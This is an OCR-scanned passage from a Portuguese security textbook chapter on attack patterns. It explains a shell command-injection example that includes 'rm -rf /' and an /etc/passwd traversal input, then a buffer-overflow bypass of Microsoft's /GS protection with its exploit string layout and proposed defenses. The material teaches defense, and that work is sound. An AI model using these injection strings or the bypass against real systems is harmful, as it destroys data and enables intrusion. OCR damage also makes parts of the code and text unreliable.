que envolvam confian~a, como a apresentada aqui, compoem portas secretas entre os quartos da casa da l6gica. Urn usuario babil pode utilizar a entrada de "confian~a implfcita" para penetrar diretamente pelo ball de entrada na cozinha.
Como um grampo de abrlr fechaduras Urn invasor deve criar cuidadosamente entrada de ataque como dados a serem apresentados em uma ordem especffica. Cada bit de dados no ataque e como uma chave que abre uma porta de caminho de c6digo. 0 ataque complete e como urn conjunto de chaves que desbloqueia os caminhos internes de c6digo do programa, uma porta por vez. Observe que esse conjunto de chaves deve ser utilizado na ordem precisa em que aparece no chaveiro. E uma vez que uma chave tenha sido utilizada, deve ser descartada. Em o utras palavras, um ataque deve incluir a apresenta~ao exata dos
Capitulo 2
Padroes de ataque
45
dados certos exatamente na ordem certa. Dessa maneira, a exploracrao de software e como grampos para abrir fechaduras. 0 software e uma matriz de decisoes. As decisoes se traduzem em desvios que conectam blocos de c6digo uns aos outros. Pense nesses desvios como as entradas que ligam os quartos. As portas se abrirao se o invasor river colocado os dados certos (a chave) na ordem certa (localiza~ao no chaveiro). Alguns locais de c6digo no programa fazem decisoes de ramificacrao com base nos dados fornecidos pelo usuario. E' nesse local que voce pode tentar uma chave. Embora encontrar esses locais de c6digo possa ser muito demorado, em alguns casos o processo pode ser automatizado. A Figura 2.2 descreve os desvios de c6digo de urn servidor de File Transfer Protocol (FTP) comum. 0 grafico indica quais desvios sao baseados em dados fornecidos pelo usuario.
Figura 2.2:
Esse gratico ilustra a 16gica de desvio de um servidor FTP comum. Os blocos indicam c6digo continuo, e as linhas indicam saltos e desvios condicionais entre blocos de c6digo. Os blocos destacados em negrito indicam que dados fornecidos pelo usuario estao sendo processados.
46
Como quebrar c6digos
A representa~ao grafica da classifica<;ao mostrada na Figura 2.2 e uma ferramenta poderosa para engenharia reversa de software. Entretanto, as vezes uma visualiza~ao mais sofisticada e necessaria. A Figura 2.3 mostra urn grafico tridimensional mais sofisticado que tambem esclarece a estrutura do programa .
-
'
Ox0047F120
Ox00~78CFO) ~
I
~---~~ OX004857BO
Ox0049F408
I Esse gratico e produzido em tres dimens6es. Cada localizac;ao de c6digo se parece com um quarto pequeno. Utilizamos o pacote OpenGL para ilustrar todos os caminhos de c6digo que conduzem a uma chamada spri ntf vulneravel em um programa-alvo.
Figura 2.3:
Dentro de quartos de programas espedficos, partes diferentes de uma solicita~ao do uswirio sao processadas. As ferramentas depuradoras podem ajuda-lo a determinar qual classifica~ao de processamento esta sendo feita e onde. A Figura 2.4 mostra urn desassemblagem de uma unica localiza~ao de c6digo de urn programa-alvo. Seguindo nossa analogia, esse c6digo aparece em urn unico Iugar na casa (uma das muitas caixas mostradas nas figuras anteriores). 0 invasor pode utilizar informa~oes como essas para modelar urn ataque, Iugar por Iugar.
mov eax.[esi] - >/templl/..ll/..ll/..ll/..l//wi nnt/system32 mov edx,[esi] - > /temp/ll ..ll/../ll .. /ll../l/winnl/system32 ad d esi.Ox4 - >/temp/ll..l/l..l/l..l/l../l/winnt/sys tem32
Figura 2.4:
A desassemblagem de urn "quarto" no programa-alvo. 0 c6digo na parte superior da listagem e urn conjunto de instruf6es de programa. As instrw;:oes que lidam com dados fornecidos pelo usuario sao solicitadas na parte inferior da listagem. A explorafao de software normalmente envolve entender como os dados fluem em urn programa (especialmente dados de usuario) e como os dados sao processados em determinados blocos de c6digo.
Um exemplo simples
Considere uma explora\=aO na qual o invasor executa urn comando de shell no sistema-alvo. 0 bug de software espedfico responsavel pela vulnerabilidade poderia ser urn trecho de c6digo como este: Susername = ARGV; #user- supplied data system("cat /logs/$username" . ".log");
Observe que a chamada da funs:ao system() adota urn parametro nao selecionado. Para esse exemplo, suponha que o parametro de nome de usuario seja fornecido por um cookie de HTTP. 0 cookie de HTTP e urn arquivo de dados pequeno controlado inteiramente pelo usuario remote (e em geral e armazenado em urn navegador Web). Desenvolvedores experientes de software de seguran<;a sabem que urn cookie e algo em que jamais se deve confiar (a menos que voce possa protege-lo e verifica-lo cri ptograficamenre). A vulnerabilidade que exploramos nesse exemplo surge porque dados de cookie nao-confiaveis estao sendo transmitidos e uti lizados em urn comando de shell. Na maioria dos sistemas, comandos de shell tern algum nlvel de acesso em nfvel de sistema e se um invasor habil fornecer exatamente a sequencia certa de caracteres, como o "nome de usuario"' 0 invasor pode dar 0 comando que controla 0 sistema. Examinemos isso mais detalhadamente. Se o usuario remote digita a string bracken, correspondente a um nome, entao o comando resultante enviado pela chamada system() de nosso trecho de c6digo sera cat /logs/bracken .log
48
Como quebrar c6digos
Esse comando de shell exibe o conteudo do arquivo bracken.log em diret6rio/registros do navegador Web. Se o usuario remoto fornece urn nome de usuario diferente, como nosuchuser, o comando resultante sera cat /1 ogs/nosuchuse r. 1og
Se o arquivo nosuchuser.log nao existir, urn "erro" menor ocorre e e informado. Nenhum outro dado e exibido. Da perspectiva de urn invasor, causar urn erro de menor relevancia como esse nao e grande coisa, mas nos da uma noc;ao. Como controlamos a variavel de nome de usuario, podemos inserir qualquer caractere que escolhermos, como o nome de usuario que fornecemos. 0 comando de shell e relativamente complexo e entende muitas sequencias de caracteres complexes. Aproveitamos esse faro para nos divertir urn pouco. Exploremos o que acontece quando fornecemos somente os caracteres certos exatamente na ordem certa. Considere o nome de usuario " . ./etc/passwd", que soa engra~ado. Isso faz com que o seguinte comando nos seja executado: cat /logs/ .. /etc/passwd .log
Estamos utilizando urn truque dassico de redirecionamento de diret6rio para exibir o arquivo /etc/passwd.log. Da mesma forma que o invasor, exercemos controle comple, to do nome de arquivo que esta sendo transmitido ao comando cat. E uma pena que nao haja urn arquivo chamado /etc/passwd.log na maioria dos sistemas UNIX! Nossa explora~ao ate agora e bastante simples e nao nos faz progredir muito. Com urn pouco mais de habilidade, podemos adicionar outro comando a mistura. Como podemos controlar o conteudo da string de comando depois de cat ... , podemos utilizar urn truque para adicionar urn novo comando a mistura. Considere urn nome de usuario divergente, como "bracken; rm -rf /; cat blah," que resulra em tres comandos sendo executados, urn depois do ourro. 0 segundo comando vern depois do p.rimeiro ";" e o terceiro depois do segundo ";" : cat /logs/bracken; rm - rf /; cat blah.log
Com esse simples ataque estamos utilizando o truque de multiplos comandos para remover todos os arquivos repetidamente do diret6rio-raiz I (e fazer que o sistema "simplesmente o execute" e nao nos fa~a nenhuma pergunta do tipo que Macintosh faz). Depois que fizermos isso, a vitima infeliz teni urn diret6rio-raiz e talvez, no maximo, urn diret6rio de achados e perdidos. Isso e urn dano muito serio que pode ser causado simplesmente como resultado de uma unica vulnerabilidade de nome de usuario em urn site Web invalido! , E muito importante notar que escolhemos o valor do nome de usuario de maneira inteligente, de modo que a string final de comando sera formatada corretamente e os comandos maliciosos incorporados serao adequadamente executados. Como o
Capitulo 2
Padroes de ataque
49
caractere ";" e utilizado para separar multiplos comandos para o sistema (UNIX), realmente estamos realizando tres comandos aqui. Mas esse ataque nao e assim tao habil! E improvavel que a parte final do comando que executa cat bl ah . l og seja bem-sucedida! Exclufmos todos os arquivos! Portanto, em suma, esse ataque simples serve para controlar strings de dados e utilizar a sintaxe da linguagem em nfvel de sistema. Nat uralmente, nosso ataque de exemplo e comum, mas mostra o que pode ocorrer quando o software-alvo e capaz de executar comandos em urn sistema os quais sao fornecidos de uma fonte nao-confiavel. Nos termos da analogia da casa, ha uma porta despercebida que permite que urn usuario malicioso controle quais comandos o programa acaba executando. Nesse tipo de ataque estamos exercitando somente as capacidades preexistentes construfdas d iretamente no alvo. Como veremos, ha ataques muito mais poderosos do que contornar completamente as capacidades do software-alvo utilizando c6digo injetado (e ate mesmo virus). Como exemplo, considere ataques de buffer overflow tao poderosos que, em cerro sentido, for~am totalmente novas entradas na casa da l6gica, destruindo as paredes de fluxo de controle com uma marreta gigante e uma serra eletrica. 0 que estamos tentando dizer aqui e que existem ataques diretos na propria estrutura de urn programa e, as vezes, esses ataques contam com urn conheci, mento relativamente profundo sobre como a casa e construlda, em primeiro Iugar. As vezes o conhecimento necessaria inclui linguagem de maquina e arquitetura de microchip. Naturalmente, ataques como esse sao urn pouco mais complicados do que esse simples que lhe mostramos aqui.
Padroes de ataque: Plantas para o desastre Embora a novidade seja sempre bem-vinda, a tecnica de explorar o software tende a ser numericamente insuficiente e relativamente especffica. Isso significa que aplicar tecnicas comuns freqi..ientemente resulta na descoberta de novas explora~oes de software. Uma explora~ao especffica normalmente significa a extensao de um modelo-padrao de ataque a um novo alvo. Desse modo, bugs classicos e outros defeitos podem permitir a ocultar dados, escapar da detec~ao, inserir comandos, explorar bancos de dados e injetar virus. Evidentemente, a melhor maneira de aprender a explorar software e fami liarizar-se com tecnicas-padrao [standatd techniques] e padroes de ataque [attack patterns] assim como determinar como sao realizadas explora~oes particulares. Urn padrao de ataque e urn projeto para explorar uma vulnerabilidade de software. Como tal, urn padrao de ataque descreve varios recursos crfticos de vulnerabilidade e mune urn invasor como conhecimento necessaria para explorar o sistema-alvo. Explora~ao,
ataque e invasor Com a finalidade de manter todas as nossas defini~oes em ordem, uma explorayao [exploit] e uma ocorrencia de urn padrao de ataque criado para comprometer uma
so
Como quebrar c6digos
parte especffica do software-alvo. Geralmente, as explora~oes sao codificadas em ferramentas ou programas faceis de usar. Manter as explora~oes como programas independentes e normalmente uma ideia razoavel, pois dessa maneira podem ser faci lmente organizados e acessados. Urn ataque [attack] eo a to de executar uma explora<;ao. Esse termo tambem pode ser utilizado livremente para significar explora~ao. Os ataques sao eventos que expoem os erros l6gicos inerentes e estados invalidos do sistema de software. Por fim, urn invasor [attacker] e quem utiliza uma explora~ao para executar urn ataque. Os invasores niio sao necessariamente maliciosos, embora nao se evite as conotacroes da palavra. Perceba que, no nosso uso do termo, os script kiddies e os que nao sao capazes de criar padroes de ataques e exploracroes sozinhos ainda se qualificam como invasores! Quem representa uma ameacra direta ao sistema-alvo e o invasor. Cada ataque tern uma intencrao orientada por urn humano. Sem urn invasor, urn padrao de ataque e simplesmente urn plano. 0 invasor coloca o plano em a~ao. Cada ataque pode ser descrito em relacrao a vulnerabilidades no sistema-alvo. 0 invasor pode restringir ou permitir urn ataque, dependendo do nfvel de habilidade e conhecimento. lnvasores qualificados sao mais bem-sucedidos em gerar urn padrao de ataque do que invasores na.o -qualificados. Padrao de ataque Nossa utiliza~ao do termo padrao [pattern) esta de acordo com Gama et al. [1995). Urn padriio de ataque e como urn padrao de costura - urn projeto para criar urn tipo de ataque. 0 exemplo favorite de todos, os ataques de buffer overflow, segue varies modelos-padrao diferentes. Os padroes permitem uma boa quantidade de variacrao de urn mesmo tema. Podem levar em conta muitas dimensoes, incluindo sincroniza~ao, recursos necessaries, tecnicas e assim por diante. Um padrao de ataque envolve urn vetor de inje<;ao que simultaneamente exponha uma zona de ativa<;ao e contenha um payload. A coisa mais importante para se entender sobre um padrao basico de ataque e a distin~ao entre o vetor de inje~ao e o payload. Uma boa explora<;ao nao apenas quebrara o c6digo, mas tambem driblara os problemas para executar o c6digo do payload. 0 truque e utilizar o defeito ou bug para introduzir urn payload e executa-lo. Vetor de lnj~ao Um vetor de inje~ao descreve, da maneira mais precisa possivel, o formate de urn ataque conduzido por uma entrada. Cada ambiente-alvo impoe certas restri~oes sobre como urn ataque deve ser formatado. Dependendo dos mecanismos de seguran~a existentes, urn vetor de inje~ao pode tornar-se muito complexo. 0 objetivo do vetor de inje<;ao ecolocar o payload de ataque em uma zona de ativa~ao-alvo. Os vetores de inje~ao devem levar em conta a gramatica de urn ataque, a sintaxe aceita pelo sistema, a posi~ao de varios campos e os intervalos numericos de dados aceitaveis. Dessa forma, os vetores de inje~ao abrangem regras verdadeiramente genericas para
Capitulo 2
Padroes de ataque
51
forrnatar urn ataque. Essas regras sao ditadas pelas restri~6es do arnbiente-alvo. Os vetores de inje~ao tarnbem devern produzir eventos de feedback, de modo que possamos observar o comportarnento de ataque.
Zona de atlva~ao Uma zona de ativafiiO e a area dentro do software-alvo que e capaz de executar ou de outra forma ativar o payload. A zona de ativa<;:ao e onde a inten<;:ao do invasor eposta em a<;:ao. A inten<;:ao do invasor epercebida na zona de ativa<;:ao pelo payload de ataque. A zona de ativa<;:ao pode ser urn interpretador de comandos, algum codigo de maquina ativo em urn buffer ou uma chamada de API de sistema. A zona de ativa<;:ao produz o evento de safda. Quando urn payload e executado, chama-se ativafiiO do payload. Evento de saida Os eventos de safda indicam que o resultado desejado de urn ataque (do ponto de vista do invasor) de faro ocorreu. Por exemplo, urn evento de saida pode ser a cria~ao de urn ' shell remoto, a execu<;:ao de urn comando ou a destrui<;:ao de dados. As vezes, urn evento de saida pode ser decomposro em um conjunto de eventos menores de suporte, que em conjunto evidenciam que o objetivo final esta sendo atingido. Esses eventos menores sao charnados de elementos de agregafiiO do evento de saida. Os eventos de safda podern ser hierarquicarnente organizados e somar ao objetivo final de urn ataque. Urn evento de saida demonstra que a vontade e a inten<;:ao do invasor foi realizada. 0 evento de feedback A medida que o sistema eativamente investigado para avaliar sua vulnerabilidade, eventos de feedback ocorrem. Os eventos de feedback sao aqueles prontamente visi'veis para o invasor. A quantidade de visibilidade depende do ambiente do ataque. Os exemplos de eventos de feedback incluem principalmente dados de conteudo/resultado de consultas e as informa<;:oes de sincroniza<;:ao sobre esses eventos. Por exemplo, o tempo de resposta de uma transa<;:ao dada e urn evento de feedback. Os eventos de feedback sao instrumentais para determinar se urn ataque esta sendo bem-sucedido.
Exemplo de explora~ao: 0 compilador C++ da Microsoft quebrado Urn exemplo pode ajudar a esclarecer a nossa terminologia unindo-a a realidade. Nesta se<;:ao, consideramos o padrao de ataque de buffer overflow de enfase excessiva (mas extremamente relevante). Naturalmente, a quantidade que urn buffer overflow desencadeia difere de acordo com contexto. 0 buffer overflow ocasional que e urn bug real (e, portanto, urn problema) em urn nivel tecnico nao resulta em risco inaceitavel. Mas esse nao eo caso da maioria. 0 buffer overflow e urn fenorneno tao importante que lhe designamos urn capitulo inteiro (Capitulo 7). Por enquanto, utilizarernos urn exemplo real para mostrar como urn padrao de ataque pode transformar-se em uma explora<;:ao. Aos poucos, mostraremos alguns codigos. Voce pode represen-
52
Como quebrar c6digos
taro invasor, usar nosso c6digo, compih1-lo e executar o ataque contra ele para ver o que acontece. Como voce vera, esse exemplo e particularmente divertido por causa do fator de ironia. Em fevereiro de 2001, a Microsoft adicionou urn recurso de seguran~a a seu compilador C++, cuja ultima versao se chama Visual C++.Net e Visual C++ versao 7. (Chris Ren, urn pesquisador associado da Cigital, descobriu essa vulnerabilidade e contribuiu categoricamente com esta sec;ao.) Para que essa explorac;ao funcione para voce, sera necessario encontrar uma versao segmentada do compilador. 0 novo recurso de seguranc;a destina-se a proteger potencialmente o c6digo-fonte vulnenivel. contra algumas formas de ataque de buffer overflow. A protec;ao proporcionada pelo novo recurso permite que os desenvolvedores continuem utilizando func;oes de string vulneraveis, como strcpy() (que e a estrela de muitos bugs) como de costume, e ainda assim estejam "protegidos" contra a destruic;ao da pilha. 0 novo recurso e intimamente baseado em uma invenc;ao de Crispin Cowan, chamada StackGuard, e seu objetivo e ser utilizada ao se criar o c6digo nativo padrao (nao a nova linguagem intermediaria .NET) [Cowan et al., 1998). Observe que o novo recurso visa a proteger qualquer programa compilado com o compilador "protegido". Em outras palavras, utilizar esse recurso deve ajudar os desenvolvedores a criar software mais seguro. Entretanto, em sua forma segmentada, o recurso da Microsoft leva a urn sentido £also de seguran~a, porque e faci lmente derrotado. Parece que a Microsoft escolheu a eficiencia em detrimento da seguranc;a quando confrontada com uma relac;ao de troca entre eficiencia e seguranc;a, algo que eles fizeram consistentemente no passado. 0 StackGuard nao e uma abordagem perfeita para interromper ataques de buffer overflow. De fa to, foi desenvolvido no contexto de uma restric;ao relativamente seria. 0 Cowan simplesmente corrigiu o gerador de c6digo gee para nao precisar criar urn novo compilador ou "recriar" o compilador gee desde o inicio novamente. 0 recurso da M icrosoft inclui a capacidade de configurar uma func;ao "handler de erros de seguranc;a", a ser acionada quando urn ataque potencial for iminente. 0 fato de urn ataque poder ser identificado tao prontamente mostra o poder do conceito de padrao de ataque. Por causa da maneira como o gerenciador de erros de seguranc;a foi implementado, o proprio recurso de seguranc;a da Microsoft e vulneravel. Ah, que ironia. Urn invasor pode tramar urn ataque de uso especial contra urn programa "protegido", derrotando o mecanismo de protec;ao de maneira simples e direta. Naturalmente, esse novo tipo de ataque constitui urn novo paddio de ataque. Ha varias abordagens conhecidas nao-baseadas em StackGuard que urn criador de compilador talvez utilize para derrotar ataques de buffer overflow. A Microsoft escolheu adotar uma soluc;ao ineficaz em vez de uma soluc;ao mais robusta. Esse e urn defeito em nivel de projeto que leva a urn conjunto muito serio de ataques potenciais contra o c6digo compilado com o novo compilador. Em outras palavras, o compilador da Microsoft e, em certo senti do, urn "semeador de vulnerabilidades". Em vez de contar com compilador de tempo de execuc;ao para se proteger de alguns tipos de buffer overflows de string, desenvolvedores e arquitetos devem colocar em seu
Capitulo 2
Padroes de ataque
53
Iugar urn regime rigoroso de seguran~a de software que inclua a revisao de codigofonte. Ferramentas de analise estatica (como o SourceScope da Cigital ou o programa de codigo-fonte aberto ITS4) podem e devem ser utilizadas para detectar problemas potenciais no codigo-fonte C++ do tipo que o recurso segmentado da Microsoft visa frustrar. Remover completamente esses problemas de c6digo de antemao e muito melhor do que tentar resolve-los quando sao explorados em tempo de execu~ao. 8 A Microsoft esta adotando uma importante iniciativa para melhorar a seguran~a de software, como evidenciou o memorando de Gates de janeiro de 2002. Entretanto, eevidente que a Microsoft pode melhorar, ja que mesmo seus recursos de seguran~a tern problemas de seguran~a relativos a arquitetura. Urn recurso elegante do StackGuard e seu primo da Microsoft e a eficiencia dos mecanismos de verifica~ao. Mas o mecanismo pode ser driblado de varias maneiras. Os tipos de ataque que a Cigitalutilizou para derrotar o mecanismo da Microsoft nao sao novidade nem exigem conhecimentos excepcionais. Se a Microsoft tivesse estudado a literatura sobre o StackGuard, teria se conscientizado da existencia de tais ataques.
Detalhes tecnlcos do ataque A op~ao de compilador /GS no Visual C++.Net (Visual C++ 7.0) permite aos desenvolvedores construirem seus aplicativos com uma "verifica~ao de seguran~a de buffer", como e chamado o rectuso. Em 2001, havia pelo menos dois artigos da M icrosoft, urn escrito por M ichael H oward e omro por Brandon Bray, publicados para apresentar essa op~ao. 9 Com base na leitura da documenta~ao da op~ao /GS e examinando as instru~oes binarias geradas pelo compilador com a op~ao, os pesquisadores da Cigital determ inaram que a op~ao /GS e essencialmente uma porta Win32 do StackGuard. lsso foi verificado independentemente por pesquisadores da Immunix. Extravasar um buffer nao-verificado possibilita que urn invasor roube o caminho de execu~ao do programa de muitas maneiras diferentes. Urn conhecido padrao de ataque freqiientemente utilizado envolve sobrescrever o endere<;o de retorno na pilha com o endere~o desejado pelo invasor, de modo que urn programa sob ataque ira para o endere<;o na safda de fun<;ao. 0 invasor coloca o codigo de ataque nesse enderecro, que e subseqiientemente executado. Os inventores do StackGuard primeiro propuseram a ideia de colocar uma palavra "canario'''' antes do en dere~o de retorno na entrada de fun~ao, de modo que o valor do "canario" possa ser utilizado na saida de fun<;ao para detectar se o endere<;o de retorno 8. Veja Building Secure Software [Vicga e McGraw, 2001] para obter material sobre analise de c6digofonte c seu papel na revisiio de seguranr;a. 9. Ambos os artigos, "New Visual C++.NET Option Tightens Buffer Security" (http://security.devx.com/ bestdefense/2001/mh0301/mh0301-1.asp) e "How Visual C++ .NET Can Prevent Buffer Overruns" (http://www.codeprojecr.com/rips/gsoprio.asp) foram removidos da rede.
"0 uso do termo "canario" aqui deriva seu sentido metaf6rico do canario real utilizado na explorar;iio de minas de carviio como alarme para os nfveis de merano. (N. doT.)
54
Como quebrar c6digos
foi alterado. Posteriormente, eles melhoraram sua i mplementa~ao por meio de uma opera~ao XOR do "camirio" com o endere~o de retorno na entrada de fun~ao para evitar que urn invasor sobrescrevesse o endere~o de retorno ao contornar o "canario" [Cowan et al., 1998]. 0 StackGuard revela-se urna rnaneira razoavel de evitar alguns tipos de buffer overflows detectando-os em tempo de execus:ao. Uma ferramenta semelhante, chamada StackShield, utiliza uma pilha separada para armazenar enderes:os de retorno, que e ainda outra maneira de derrotar alguns tipos de buffer overflows. Modificar urn endere<;:o de retorno de fun<;:ao nao ea unica maneira de roubar urn programa. Outros possfveis ataques que podem ser utilizados para contornar ferrarnentas de prote<;:ao de buffer como o StackGuard e o StackShield sao discutidos em urn artigo na Phrack 56. 10 Eis a essencia desse padrao de ataque: Se houver urna variavel de tipo de ponteiro na pi lha ap6s urn buffer vulneravel e a variavel aponta para algum Iugar que sera preenchido com dados fornecidos pelo usuario na fun~ao, e possivel sobrescrever a variavel para executar urn ataque. 0 invasor deve primeiro sobrescrever a variavel de ponteiro para faze-la apontar para o endere<;:o de memoria desejado pelo invasor. Entao, urn valor fornecido pelo invasor pode ser escrito nesse endere<;:o. Uma posi<;:ao da memoria ideal para urn invasor escolher seria urn ponteiro de fun<;:ao que sera solicitado posteriormente no programa. 0 artigo da Phrack discute como localizar esse ponteiro de fun~ao na tabela de offset global (global offset tableGOT). Uma explora~ao do mundo real que driblou o StackGuard dessa forma foi publicada pelo Security Focus no enderes:o http://www.securityfocus.com/archive/1/83769.
Uma vlsao geral da versao da Microsoft do StackGuard Muitos detalhes sobre a implementa<;:ao /GS da Microsoft podem ser localizados em tres arquivos foote do CRT: a saber, seccinit.c, seccook.c e secfail.c. Outros podem ser localizados examinando-se as instru<;:oes geradas pelo compilador com a op<;:ao /GS . Urn "cookie de segurans:a" ("canario") sera inicializado na chamada de CRLINIT. Ha uma nova chamada de biblioteca, _set_secur i ty_error_handl e r , que pode ser utilizada para instalar urn handler definido pelo usuario. 0 ponteiro de funs:ao do handler de usuario sera armazenado em uma variavel global use r _handl er. Na saida de fun~ao, a instru~ao gerada pelo compilador vai para a fun~ao _security_check_ cookie definida em seccook.c. Se o cookie de seguran<;:a fosse modificado, _ security_ e rror_handl er definido em secfail.c seria solicitado. 0 codigo em __ security_erro r _ handler prirneiro verifica se urn handler fornecido pelo usuario esta instalado. Se estiver, o handler de usuario sera chamado. Caso contrario, uma rnensagem-padrao, "Buffer Overrun Detected", eexibida eo programa e encerrado. Ha pelo rnenos urn problema nssa irnplementa~ao. No Windows, nao ha uma GOT "gravavel", portanto, mesmo dado o layout de pilha citado acima, nao etao facil urn invasor localizar e usar urn ponteiro de fun~ao. Mas devido a disponibilidade da variavel user_handler, urn invasor nao precisa procurar rnuito para localizar urn born alvo! 10. Bypassing Stackguard And Stackshjeld, Phrack 56, http://www.phrack.org/show.php?p=56&a=5.
Capitulo 2
Padroes de ataque
55
Drlblando o recurso da Microsoft Examinemos o seguinte programa trivial: #include #include
request_data, no parametro que contem uma string codificada fornecida pelo usuario, como "host=dot .net&id=user_id&pw=user_password&cookie=da". user_id, parametro out utilizado para copiar o 'user_id' decodificado. password, parametro out uti l izado para copiar a 'password' decodi fi cada
else{ pri ntf("Inva1i d password, user :%s password :%s. \n", user_i d, password); }
return 0; }
A func:;:ao decode contem urn buffer nao-selecionado temp_request e seus parametros user_ i d e password podem ser sobrescritos extravasando temp_ request. Se o programa for compilado com a opc:;:ao /GS, nao sera possfvel alterar o caminho de execuc:;:ao do programa extravasando-se o enderec:;:o de retorno da func:;:ao decode. Entretanto, possivel extra vasar o parametro user_ i d da func:;:ao decode para faze-Ia apontar primeiramente para a varia vel acima citada user _handler! En tao, quando strcpy(user_ id, p_str + 3 ) ; for solicitado, podemos atribuir urn valor desejado a user_handler. Por exemplo, podemos faze-lo apontar para a posic:;:ao da memoria de pri ntf("Wel come! \n");, de modo que quando o buffer overflow for detectado, parecera haver urn handler de seguranc:;:a instalado pelo usuario e o programa executara printf("Welcome!\n");. Nossa string de explorac:;:ao se parece com esta:
e
id=[location to jump to]&piY=[any ]AAAAAAA...AAA[address of user_handler)
Com urn binario compi lado, "protegido", determinar o enderec:;:o de memoria de user_hand ler e comum, dado algum conhecimento de engenharia reversa. 0 resultado e que urn programa protegido esta realmente vulneravel ao tipo de ataque contra o qual ele esta supostamente protegido. Solu~oes
Ha varios caminhos alternativos que podem ser seguidos para impedir esse padrao de ataque. A melhor soluc:;:ao envolve os desenvolvedores adotarem uma linguagem typesafe, como Java ou C#. A segunda melhor solw;ao ecompilar em verificac:;:oes dinamicas nas func:;:oes de string que ocorrem em tempo de execuc:;:ao (embora o desempenho maximo deva ser considerado). Essas soluc:;:oes nem sempre fazem sentido, dadas as restric:;:oes de projeto. Modificar a abordagem /GS atua l tambem e possfvel. 0 objetivo principal de cada uma das seguintes correc:;:oes sugeridas e alcanc:;:ar urn nivel mais alto de integridade de dados na pilha.
Capitulo 2
Padroes de ataque
57
1. Assegure-se da integridade das variaveis da pilha verificando o "canario" mais agressivamente. Se uma varia vel for colocada depois de urn buffer na pilha, urn teste de racionalidade deve ser realizado antes que essa variavel seja utilizada. A freqiiencia de tal verificar;ao pode ser controlada aplicando-se a analise dependente de dados. 2. Garanta a integridade das variaveis da pilha reorganizando o layout da pilha. Sempre que possfvel, as variaveis nao-buffer locais devem ser colocadas antes de variaveis de buffer. Ah~m disso, como os parametres de uma fun<;a.o estarao localizados depois dos buffers locais (se houver algum), eles devem ser tratados da mesma forma. Na entrada de fun~ao, o espac;o extra da pilha pode ser reservado antes dos buffers locais, de modo que todos os parametres possam ser copiados. Cada utilizac;ao de urn padimetro dentro do corpo de func;ao e entao substitufda por sua copia recentemente criada. Trabalhar nessa soluc;ao ja foi feito por pelo menos urn projeto de pesquisa da IBM.11 3. Garanta a integridade das variaveis globais fornecendo urn mecanisme gravavel gerenciado. Com bastante freqiiencia, as variaveis globais se corrompem como resultado de erros de programa e/ou abuso intencional. Um mecanisme gravavel gerenciado pode colocar urn grupo de tais variaveis em uma regiao de somente leitura. Quando for necessaria modificar uma variavel na regiao, a permissao de acesso a memoria da regiao podera ser alterada para "gravavel". Depois que a modificar;ao for feita, sua permissao e alterada novamente para "somente leitura". Com tal mecanisme, uma "gravar;ao" inesperada em resultados de variavel protegida resulta em violac;ao de acesso a memoria. Para o tipo de variavel que somente e atribuido uma ou duas vezes durante um processo, o overhead de se aplicar um mecanismo gravavel gerenciado einsignificance. As versoes subseqiientes do compilador da Microsoft adotaram partes dessas ideias. Um retrospecto da explora~ao Agora, a ironia desse ataque deve estar aparente: A Microsoft acabou construindo urn semeador de vulnerabilidades de seguranr;a em seu compilador criando urn recurso projetado para impedir urn ataque padrao! 0 interessante e que 0 padrao de ataque da explorar;ao contra o recurso defeituoso e o proprio padrao de ataque que o recurso deveria proteger. 0 problema e que as utilizar;oes nao-vulneraveis de algumas fun<;oes de string tornam-se vulneraveis quando o recurso e solicirado. Isso e ruim para a seguranc;a do software, mas e born para a explorac;ao de software. 12 Dois anos depois que esse defeito foi discutido publicamente, foi descoberto que pelo menos duas explorac;oes do dia 0 foram criados em torno da utilizac;ao do flag 11. Para informa<;oes adicionais, consulte GCC Extension For Protecting Applications From StackSmashing Attacks, disponfvel em http://www.trl.ibm.com/projecrs/security/ssp/. 12. 0 a nuncio desse defeito causou considenivel agita<;ao na imprensa. Consulte lmp://www.cigital.com/ press para obter referencias aos artigos resultantes.
58
Como quebrar c6digos
(indicador) /GS para realizar ataques baseados em trampolins de dois estagios. Como previsto, o mecanisme de seguran<;a era utilizado como base nessas explora<;oes.
Apllcando os padroes de ataque Atacar urn sistema e urn processo de descoberta e explora<;ao. Os invasores passam por uma serie de fases de descoberta antes de realmente localizar e explorar uma vulnerabilidade de software. 0 que se segue e uma visao geral de nfvel muito elevado das etapas comumente utilizadas. Mais adiante no livro, de modo geral, repetiremos essas ideias em favor de dar mais aten~ao a discussao tecnica das explora~6es. Urn ataque bem-sucedido adota varias etapas l6gicas. Primeiro, qualifique o alvo, principalmente para saber que pontos de entrada existem. Em seguida, descubra os tipos de transa<;6es aceitas nos pontos de entrada. Cada tipo de transa<;ao deve ser explorado para determinar que ripos de ataques funcionarao. Entao, voce podera utilizar os padroes de ataques para construir transa<;oes malformadas, mas "legais", que manipulam o software de maneiras interessantes. Isso requer uma observa<;ao minuciosa dos resultados de cada transa~ao que voce envia para determinar a possibilidade de ter descoberto uma possfvel vulnerabilidade. Uma vez que uma vulnerabilidade e descoberta, voce pode tentar explora-la e, assim, receber acesso ao SIStema. Nesta se<;ao, abordamos varias categorias amplas de padroes de ataque. Padr6es de ataque especfficos podem ser localizados em cada uma dessas caregorias. Urn invasor experiente tera padroes de ataque funcionais para todas as categorias. Em combina<;ao, urn conjunto de padr6es de ataque torna-se o kit de ferramentas do invasor bem-sucedido. Varredura de rede
Ha muitas ferramentas de uso especial para varredura de rede. Em vez de discutir urn conjunto particular de ferramentas ou scripts de hacker, n6s o encorajamos a explorar os pr6prios protocolos de rede, considerando como podem ser aumentados para atingir os alvos e determinar a estrutura de uma rede. Comece com urn livro como Fi1·ewalls and Intentet Security [Cheswick et al., 2003]. Novos padroes de ataque ainda estao sendo descobertos em protocolos que tern mais de 20 anos (considere, por exemplo, o ping de ICMP, o ping de SYN, o ping de UDP e o firewalking). Os protocolos mais recentes fornecem alvos muito mais f:keis. Sugerimos que voce examine o trabalho de Ofir Arkin sobre varredura de ICMP. 13 A varredura de rede pode ser pensada como algo bern simples (e melhor deixada para as ferramentas) ou pode ser tratada como a propria ciencia em si. As varreduras de rede quase sempre podem ser detectadas por sites remotes feitos por administradores paran6icos que acionarao o alarme do telefone vermelho se sua rede vir uma unica 13. Procure ICMP na pagina Web de Ofir Arkin em http://www.sys-security.com.
Capitulo 2
Padroes de ataque
59
solicita~ao de porta de rlogin; entao, cuidado quanto a isso. Por outro lado, uma
